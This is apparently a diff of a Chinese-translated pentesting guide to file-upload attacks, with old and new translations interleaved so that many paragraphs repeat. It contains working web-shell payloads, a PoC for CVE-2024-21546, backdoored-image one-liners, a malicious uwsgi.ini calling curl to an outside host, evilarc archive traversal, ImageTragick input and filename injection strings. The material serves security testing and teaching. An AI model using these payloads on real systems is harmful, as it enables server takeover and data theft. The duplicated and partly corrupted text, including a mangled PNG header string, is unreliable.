Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -59,56 +59,86 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### 绕过 Content-Type、magic number、压缩与缩放
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. 末尾点) – CVE-2024-21546
- 通过将 **Content-Type** header 的 **value** 设置为：_image/png_ , _text/plain , application/octet-stream_ 来绕过 **Content-Type** 检查
1. Content-Type **词表**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- 通过在文件开头添加一个真实图片的**字节**（混淆 `file` 命令）来绕过 **magic number** 检查。或者把 shell 放到图片的 **metadata** 中：\
某些上传处理程序会从保存的文件名中去除或规范化末尾的点字符。在 UniSharp 的 Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 之前的版本中，你可以通过以下方式绕过扩展名验证：
- 使用有效的图像 MIME 和 magic header（例如 PNG 的 `\x89PNG\r\n\x1a\n`）。
- 将上传的文件命名为 PHP 扩展并在其后加一个点，例如 `shell.php.`。
- 服务器会去掉末尾的点并保存为 `shell.php`，如果它被放在可被 web 访问的目录（默认公共存储，如 `/storage/files/`）中则会执行。
最简 PoC (Burp Repeater):
```http
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
```
然后访问保存的路径（在 Laravel + LFM 中典型）：
```
GET /storage/files/0xdf.php?cmd=id
```
缓解措施:
- 升级 unisharp/laravel-filemanager 到 ≥ 2.9.1。
- 实施严格的服务端 allowlists 并重新验证持久化的文件名。
- 将上传文件托管在不可执行的位置。
### 绕过 Content-Type、Magic Number、Compression & Resizing
- 绕过 **Content-Type** 检查：将 **Content-Type** **header** 的 **value** 设置为：_image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- 绕过 **magic number** 检查的方法是在文件开头添加 **真实图片的字节**（混淆 _file_ 命令）。或者在 **metadata** 中引入后门：\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` 或者你也可以**直接把 payload 插入到图片**：\
`\` 或者你也可以**直接将 payload 注入到图片中**：\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- 如果 **对你的图片进行了压缩**（例如使用 PHP 的一些标准库如 PHP-GD），上面的技术可能不奏效。不过，你可以使用 **PLTE chunk** [**这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入能**在压缩后依然存活**的文本。
- 如果 **对你的图片进行了压缩**，例如使用一些标准的 PHP 库如 [PHP-GD](https://www.php.net/manual/fr/book.image.php)，前述技术可能无效。不过，你可以使用 **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本，这些文本将**在压缩后存活**。
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 页面也可能会**调整图片尺寸**，例如使用 PHP-GD 的 `imagecopyresized` 或 `imagecopyresampled`。不过，你可以使用 **IDAT chunk** [**这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入能**在压缩后依然存活**的文本。
- 网页也可能会对 **image** 进行 **resizing**，例如使用 PHP-GD 的 `imagecopyresized` 或 `imagecopyresampled`。不过，你可以使用 **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本，这些文本将**在压缩后存活**。
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 另一种让 payload **在图片缩放后仍能存活** 的技术，适用于使用 PHP-GD 的 `thumbnailImage`。你也可以使用 **tEXt chunk** [**这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入能**在压缩后依然存活**的文本。
- 另一个使 payload **在图片缩放后仍然存活** 的技巧，是利用 PHP-GD 的 `thumbnailImage`。不过，你可以使用 **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本，这些文本将**在压缩后存活**。
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### 其他可检测的技巧
### 其他需要检查的技巧
- 找到一个可以**重命名**已上传文件（以更改扩展名）的漏洞。
- 找到一个 **Local File Inclusion** 漏洞来执行后门。
- **可能的信息泄露**：
1. 同时**多次上传**（且在**同一时间**）**相同名字**的**同一文件**
2. 上传一个与已存在的**文件**或**文件夹**同名的文件
3. 上传名为 **"."、".." 或 "..."** 的文件。例如，在 Windows 上的 Apache，如果应用把上传文件保存到 "/www/uploads/" 目录，名为 "." 的文件会在 "/www/" 目录下创建一个名为 "uploads" 的文件。
4. 上传一个可能无法轻易删除的文件，比如在 **NTFS** 中的 **"...:.jpg"**。（Windows）
5. 在 **Windows** 中上传文件名包含无效字符的文件，例如 `|<>*?”`。（Windows）
6. 在 **Windows** 中使用保留（**禁止**）名称上传文件，例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9。
- 也尝试上传一个可执行文件（.exe）或一个看起来不那么可疑的 **.html** 文件，这些在被受害者意外打开时可能会执行代码。
- 寻找可以**重命名**已上传文件（以更改扩展名）的漏洞。
- 寻找 **Local File Inclusion** 漏洞以执行后门。
- **Possible Information disclosure**:
1. 多次（并且在**相同时间**）上传**同一文件**且使用**相同名称**
2. 上传一个名称与**已存在的文件**或**文件夹**相同的文件
3. 上传一个名称为 **"."、".." 或 "..."** 的文件。例如，在 **Windows** 上的 Apache 中，如果应用将上传文件保存到 "/www/uploads/" 目录，"." 这个文件名会在 "/www/" 目录下创建一个名为 "uploads" 的文件。
4. 上传一个可能难以删除的文件，例如 **"...:.jpg"** 在 **NTFS** 上。(Windows)
5. 在 **Windows** 上上传包含 **无效字符**（例如 `|<>*?”`）的文件名。(Windows)
6. 在 **Windows** 上使用保留（禁止）的**名称**上传文件，例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
- 也可以尝试上传一个可执行文件 (.exe) 或 .html（看起来不那么可疑），当被受害者意外打开时会**执行代码**。
### 特殊扩展名技巧
### Special extension tricks
如果你尝试向 **PHP server** 上传文件，请查看 [**.htaccess** 技巧以执行代码](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
如果你尝试向 **ASP server** 上传文件，请查看 [**.config** 技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
如果你正尝试向 **PHP server** 上传文件，查看 [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
如果你正尝试向 **ASP server** 上传文件，查看 [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
`.phar` 文件类似于 Java 的 `.jar`，但用于 php，可以**像 php 文件一样使用**（用 php 执行，或在脚本中 include 它……）
`.phar` 文件类似于 Java 的 `.jar`，但用于 php，可以**像 php 文件一样使用**（用 php 执行，或在脚本中 include……）
`.inc` 扩展有时用于只用于**导入文件**的 php 文件，因此在某些情况下一些人可能允许**此扩展被执行**。
`.inc` 扩展有时用于仅用于**import files** 的 php 文件，因此某些情况下有人可能允许**该扩展被执行**。
## **Jetty RCE**
如果你能向 Jetty server 上传 XML 文件，你可以获得 [RCE 因为 **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 所以，如下图所示，将 XML 文件上传到 `$JETTY_BASE/webapps/` 并期待 shell！
如果你能向 Jetty server 上传一个 XML 文件，你可以获得 [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)。因此，如图所示，将 XML 文件上传到 `$JETTY_BASE/webapps/` 并期待 shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
有关此漏洞的详细探讨，请查看原始研究: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
关于该漏洞的详细研究请查看原始研究: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
如果能够修改 `.ini` 配置文件，uWSGI 服务器可能会被利用以实现远程命令执行 (RCE)。uWSGI 配置文件使用特定语法来包含“magic”变量、占位符和运算符。值得注意的是，`@` 运算符以 `@(filename)` 的形式用于包含文件内容。在 uWSGI 支持的多种 scheme 中，"exec" scheme 尤其强大，它允许从进程的标准输出读取数据。当 `.ini` 配置文件被处理时，这个特性可以被用于远程命令执行或任意文件写入/读取等恶意用途。
远程命令执行 (RCE) 漏洞可以在 uWSGI 服务器上被利用，前提是攻击者有能力修改 `.ini` 配置文件。uWSGI 配置文件使用特定语法来包含“magic”变量、占位符和运算符。值得注意的是，'@' 运算符以 `@(filename)` 的形式使用，旨在包含文件内容。在 uWSGI 支持的多种 scheme 中，"exec" scheme 特别强大，允许从进程的标准输出读取数据。当 `.ini` 配置文件被处理时，这个特性可能被滥用以实现远程命令执行或任意文件写入/读取（Arbitrary File Write/Read）。
考虑下面这个有害的 `uwsgi.ini` 示例，展示了多种 scheme：
考虑下面这个展示多种 scheme 的恶意 `uwsgi.ini` 示例：
```ini
[uwsgi]
; read from a symbol
@ -126,17 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
payload 的执行发生在配置文件解析期间。要使配置被激活并解析，uWSGI 进程必须要么重启（可能是在崩溃之后或由于 Denial of Service attack），要么将该文件设置为 auto-reload。auto-reload 功能（如果启用）在检测到更改时会按指定间隔重新加载该文件。
在解析配置文件期间会执行 payload。要使配置生效并被解析，uWSGI 进程必须要么重启（可能在崩溃后或由于 Denial of Service attack），要么将该文件设置为 auto-reload。如果启用了 auto-reload 功能，检测到更改后会在指定间隔重新加载该文件。
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
理解 uWSGI 的配置文件解析的宽松性至关重要。具体来说，上述 payload 可以插入到二进制文件（例如图像或 PDF）中，进一步扩大了潜在利用的范围。
必须理解 uWSGI 配置文件解析的宽松性。具体来说，上述 payload 可以被插入到二进制文件（例如图像或 PDF）中，从而进一步扩大潜在利用的范围。
## **wget File Upload/SSRF Trick**
在某些情况下，你可能会发现服务器使用 **`wget`** 来 **download files** 并且你可以 **indicate** the **URL**。在这些情形中，代码可能会检查被下载文件的扩展名是否在白名单内，以确保只下载被允许的文件。然而，**this check can be bypassed.**\ 在 **linux** 中 **filename** 的 **maximum** 长度是 **255**，但 **wget** 会将文件名截断为 **236** 个字符。你可以 **download a file called "A"\*232+".php"+".gif"**，这个文件名将 **bypass** 该 **check**（在本例中 **".gif"** 是一个 **valid** 扩展），但 `wget` 会 **rename** 该文件为 **"A"\*232+".php"**。
在某些情况下，你可能会发现服务器使用 **`wget`** 来 **下载文件**，并允许你指定 **URL**。在这些情况下，代码可能会检查被下载文件的扩展名是否在白名单内，以确保只下载被允许的文件。然而，**此检查可以被绕过。**\
在 **linux** 中 **文件名** 的 **最大** 长度是 **255**，但 **wget** 会将文件名截断为 **236** 个字符。你可以 **download a file called "A"\*232+".php"+".gif"**，这个文件名会 **绕过** 该 **检查**（在本例中 **".gif"** 是一个 **有效** 的扩展），但 `wget` 会将该文件重命名为 **"A"\*232+".php"**。
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -159,35 +186,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
注意，**另一个选项**（你可能会想到的绕过此检查的方法）是让 **HTTP 服务器重定向到不同的文件**，这样初始 URL 会绕过检查，然后 wget 会下载重定向后的文件并使用新名字。除非 wget 正在使用 **参数** `--trust-server-names`，否则这 **不会奏效**，因为 **wget 会以原始 URL 指示的文件名下载被重定向的页面**。
注意，**另一种选项**（你可能会想到）来绕过此检查是让 **HTTP server 重定向到不同的文件**，这样初始 URL 会绕过检查，然后 wget 会下载重定向后的文件并使用新名称。除非以 `--trust-server-names` 参数使用 wget，否则这**不会起作用**，因为 **wget 会使用原始 URL 中指示的文件名来下载重定向页面**。
## 工具
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具，旨在帮助 Pentesters 和 Bug Hunters 测试文件上传机制。它利用各种 bug bounty 技术来简化识别和利用漏洞的过程，确保对 web applications 的彻底评估。
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具，旨在帮助 Pentesters 和 Bug Hunters 测试 file upload 机制。它利用各种 bug bounty techniques 来简化识别和利用漏洞的过程，确保对 web applications 的彻底评估。
### 使用 snprintf 特性破坏上传索引（历史）
### 使用 snprintf 特性损坏上传索引（历史）
一些遗留的 upload handlers 使用 `snprintf()` 或类似函数从单文件上传构建多文件数组，这类处理器可以被欺骗从而伪造 `_FILES` 结构。由于 `snprintf()` 行为的不一致性和截断问题，精心构造的单次上传在服务器端可能看起来像多个带索引的文件，从而混淆假定严格结构的逻辑（例如，将其视为多文件上传并走上不安全的分支）。尽管如今较为小众，这种“index corruption”模式偶尔会在 CTF 和老旧代码库中复现。
一些遗留的上传处理器使用 `snprintf()` 或类似函数从单文件上传构建多文件数组，可能被欺骗成伪造 `_FILES` 结构。由于 `snprintf()` 行为中的不一致和截断，一个精心构造的单次上传在服务器端可能表现为多个带索引的文件，从而混淆假设严格结构的逻辑（例如，将其视为多文件上传并走不安全的分支）。尽管在当今已属小众，但这种“索引损坏”模式偶尔会在 CTFs 和旧代码库中重新出现。
## 从文件上传到其他漏洞
- 将 **filename** 设置为 `../../../tmp/lol.png` 并尝试实现 **path traversal**
- 将 **filename** 设置为 `sleep(10)-- -.jpg`，你可能能够实现 **SQL injection**
- 将 **filename** 设置为 `<svg onload=alert(document.domain)>` 来触发 **XSS**
- 将 **filename** 设置为 `../../../tmp/lol.png` 并尝试触发 **path traversal**
- 将 **filename** 设置为 `sleep(10)-- -.jpg`，可能能够实现 **SQL injection**
- 将 **filename** 设置为 `<svg onload=alert(document.domain)>` 来触发 XSS
- 将 **filename** 设置为 `; sleep 10;` 来测试一些 command injection（更多 [command injections tricks here](../command-injection.md)）
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- 尝试来自 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 的不同 svg payloads
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- 如果你能够 **指示 web server 从 URL 抓取图片**，你可以尝试滥用 [SSRF](../ssrf-server-side-request-forgery/index.html)。如果该 **image** 将被 **saved** 在某个 **public** 站点，你也可以指向 [https://iplogger.org/invisible/](https://iplogger.org/invisible/) 的 URL 并 **steal information of every visitor**。
- 如果你能 指示 web server 从 URL 抓取 image，你可以尝试滥用 [SSRF](../ssrf-server-side-request-forgery/index.html)。如果该 **image** 将被 **saved** 在某个 **public** 站点，你也可以指向 [https://iplogger.org/invisible/](https://iplogger.org/invisible/) 的 URL 并 **窃取每个访问者的信息**。
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- 专门制作的 PDFs 导致 XSS：该 [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md)。如果你可以上传 PDFs，你可以按照给定指示准备一些会执行任意 JS 的 PDF。
- 特制的 PDFs 导致 XSS：该 [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md)。如果你可以上传 PDFs，你可以按给出的指示准备一些 PDF 来执行任意 JS。
- 上传 \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 的内容以检查服务器是否有任何 **antivirus**
- 上传文件时检查是否存在任何 **大小限制**
- 上传文件时检查是否有任何 **大小限制**
下面是一个通过上传可以实现的前十列表（来自 [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)）：
下面是一个通过上传可以实现的前十项清单（来自 [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)）:
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -209,18 +236,18 @@ https://github.com/portswigger/upload-scanner
## Magic Header Bytes
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
参见 [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) 以获取其他文件类型的签名。
有关其他文件类型，请参阅 [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)。
## Zip/Tar 文件自动解压上传
如果你能上传一个将在服务器内部解压的 ZIP，你可以做两件事：
如果你可以上传一个在服务器端会被解压的 ZIP，你可以做两件事：
### Symlink
### 符号链接
上传一个包含指向其他文件的软链接的压缩包，然后访问解压后的文件时，你将访问这些被链接的文件：
上传包含指向其他文件的软链接的链接文件，然后访问解压后的文件时你将访问到被链接的文件：
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -228,18 +255,18 @@ tar -cvf test.tar symindex.txt
```
### 在不同文件夹解压
在解压缩过程中在目录中意外创建文件是一个严重的问题。尽管最初假设这种设置可以防止通过恶意文件上传进行的操作系统级别命令执行，但 ZIP 压缩格式对层级结构的支持以及目录遍历能力可能被滥用。攻击者可以利用这些特性通过操纵目标应用的解压功能来绕过限制并逃离受保护的上传目录。
在解压过程中意外在目录中创建文件是一个严重的问题。尽管最初可能认为这种设置可以防止通过恶意文件上传进行 OS-level command execution，但 ZIP archive format 对层级压缩的支持和 directory traversal 能力可以被利用。这使得攻击者能够通过操纵目标应用的 decompression 功能来绕过限制并逃出 secure upload directories。
用于生成此类文件的自动化利用工具可在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 获得。该工具可按如下方式使用：
可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 获取用于制作此类文件的 automated exploit。该工具的用法如下：
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
此外，**symlink trick with evilarc** 也是一个可行选项。如果目标是针对像 `/flag.txt` 这样的文件，应在你的系统中为该文件创建一个 symlink。这样可以确保 evilarc 在运行时不会遇到错误。
此外，**symlink trick with evilarc** 是一个可选方案。如果目标是像 `/flag.txt` 这样的文件，应在你的系统中创建一个指向该文件的 symlink。这样可以确保 evilarc 在运行时不会遇到错误。
下面是用于创建恶意 zip 文件的 Python 示例代码：
下面是一个用于创建恶意 zip 文件的 Python 代码示例：
```python
#!/usr/bin/python
import zipfile
@ -257,11 +284,11 @@ zip.close()
create_zip()
```
**Abusing compression for file spraying**
**滥用压缩来进行 file spraying**
欲了解更多细节，**请查看原始帖子**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**: PHP 代码用于执行通过 `$_REQUEST` 传入的命令。
1. **创建 PHP Shell**: 编写 PHP 代码以执行通过 `$_REQUEST` 传递的命令。
```php
<?php
@ -271,14 +298,14 @@ system($cmd);
}?>
```
2. **File Spraying and Compressed File Creation**: 创建多个文件并将它们打包为包含这些文件的 zip 归档。
2. **File Spraying 和 压缩文件创建**: 创建多个文件，并将它们打包到一个 zip 归档中。
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**: 使用 vi 或十六进制编辑器修改 zip 内文件名，将 "xxA" 更改为 "../" 以实现目录遍历。
3. **使用 Hex Editor 或 vi 修改**: zip 内部的文件名使用 vi 或十六进制编辑器被修改，将 "xxA" 改为 "../" 以进行目录遍历。
```bash
:set modifiable
@ -288,7 +315,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
将该内容以图片扩展名上传以利用该漏洞 **(ImageMagick , 7.0.1-1)**（参见 [exploit](https://www.exploit-db.com/exploits/39767)）
将此内容以图像扩展名上传以利用该漏洞 **(ImageMagick , 7.0.1-1)** (来自 the [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -297,29 +324,29 @@ pop graphic-context
```
## Embedding PHP Shell on PNG
将 PHP shell 嵌入 PNG 文件的 IDAT chunk 中可以有效绕过某些图像处理操作。PHP-GD 的 `imagecopyresized` 和 `imagecopyresampled` 函数在这一情境中特别相关，因为它们通常分别用于调整图像大小和重新采样。嵌入的 PHP shell 在这些操作下仍保持不受影响，这在某些用例中具有显著优势。
将 PHP shell 嵌入到 PNG 文件的 IDAT chunk 中，可以有效绕过某些图像处理操作。PHP-GD 中的 `imagecopyresized` 和 `imagecopyresampled` 函数在此场景中特别相关，因为它们通常用于图像的缩放和重采样。嵌入的 PHP shell 在这些操作中保持不受影响的能力，对于某些用例而言是一个重要的优势。
关于该技术的详细探讨，包括其方法论和潜在应用，请参阅以下文章：["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源对该过程及其影响提供了全面的理解。
关于该技术的详细探讨，包括方法论和潜在应用，请参见下面的文章：["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源对该过程及其影响提供了全面的理解。
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
Polyglot files 在网络安全中是一种独特工具，像变色龙一样可以同时以多种文件格式合法存在。一个有趣的例子是 [GIFAR](https://en.wikipedia.org/wiki/Gifar)，它既可以作为 GIF，又可以作为 RAR 归档。此类文件并不限于这一组合；像 GIF 与 JS 或 PPT 与 JS 的组合也同样可行。
Polyglot files 在网络安全中作为一种独特工具，就像变色龙一样可以同时作为多种文件格式合法存在。一个有趣的例子是 [GIFAR](https://en.wikipedia.org/wiki/Gifar)，它既是 GIF 又是 RAR 的混合体。这类文件并不限于这一组合；例如 GIF 与 JS、PPT 与 JS 的组合也是可行的。
Polyglot files 的核心用途在于其绕过基于文件类型筛查的安全措施的能力。许多应用的常见做法是仅允许上传特定文件类型——例如 JPEG、GIF 或 DOC——以降低来自潜在危险格式（例如 JS、PHP 或 Phar 文件）的风险。然而，polyglot 通过符合多种文件格式的结构特征，可以悄然绕过这些限制。
polyglot 文件的核心用途在于其规避基于类型筛查文件的安全措施的能力。各种应用中的常见做法是只允许上传某些文件类型——比如 JPEG、GIF 或 DOC——以降低潜在有害格式（例如 JS、PHP 或 Phar 文件）带来的风险。然而，polyglot 通过符合多种文件格式的结构特征，可以悄无声息地绕过这些限制。
尽管具备适应性，polyglots 仍然面临限制。例如，尽管一个 polyglot 可能同时具备 PHAR（PHp ARchive）和 JPEG 的特性，但其能否成功上传可能取决于平台对文件扩展名的策略。如果系统在允许的扩展名方面相当严格，polyglot 的结构双重性可能不足以保证上传成功。
尽管具备适应性，polyglot 也存在局限。例如，虽然一个 polyglot 可能同时体现为 PHAR 文件 (PHp ARchive) 与 JPEG，但其能否成功上传可能取决于平台对文件扩展名的策略。如果系统对允许的扩展名有严格限制，polyglot 的结构双重性本身可能不足以保证其被接受上传。
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Upload valid JSONs like if it was PDF
如何通过伪装成 PDF 来上传有效的 JSON 文件以规避文件类型检测（技术来自 **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**）：
如何通过伪装为 PDF 文件来上传有效的 JSON 文件以规避文件类型检测（技术来源于 **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**）：
- **`mmmagic` library**: 只要 `%PDF` 魔术字节位于前 1024 字节内，它就被视为有效（示例见文章）
- **`pdflib` library**: 在 JSON 的某个字段内加入一个伪 PDF 格式，使该库认为这是一个 pdf（示例见文章）
- **`file` binary**: 它最多会读取文件的 1048576 字节。只需创建一个比这更大的 JSON，让它无法将内容解析为 JSON，然后在该 JSON 中放入真实 PDF 的初始部分，它就会认为这是一个 PDF
- **`mmmagic` library**: 只要 `%PDF` 魔术字节位于前 1024 字节内，就被认为是有效的（示例见文章）
- **`pdflib` library**: 在 JSON 的某个字段内加入一个伪造的 PDF 格式，使该库认为这是一个 pdf（示例见文章）
- **`file` binary**: 它可以从文件中读取最多 1048576 字节。只需创建一个比这更大的 JSON，使其无法将内容解析为 json，然后在该 JSON 中放入真实 PDF 的初始部分，它就会认为这是一个 PDF
## References
@ -331,5 +358,8 @@ More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-frie
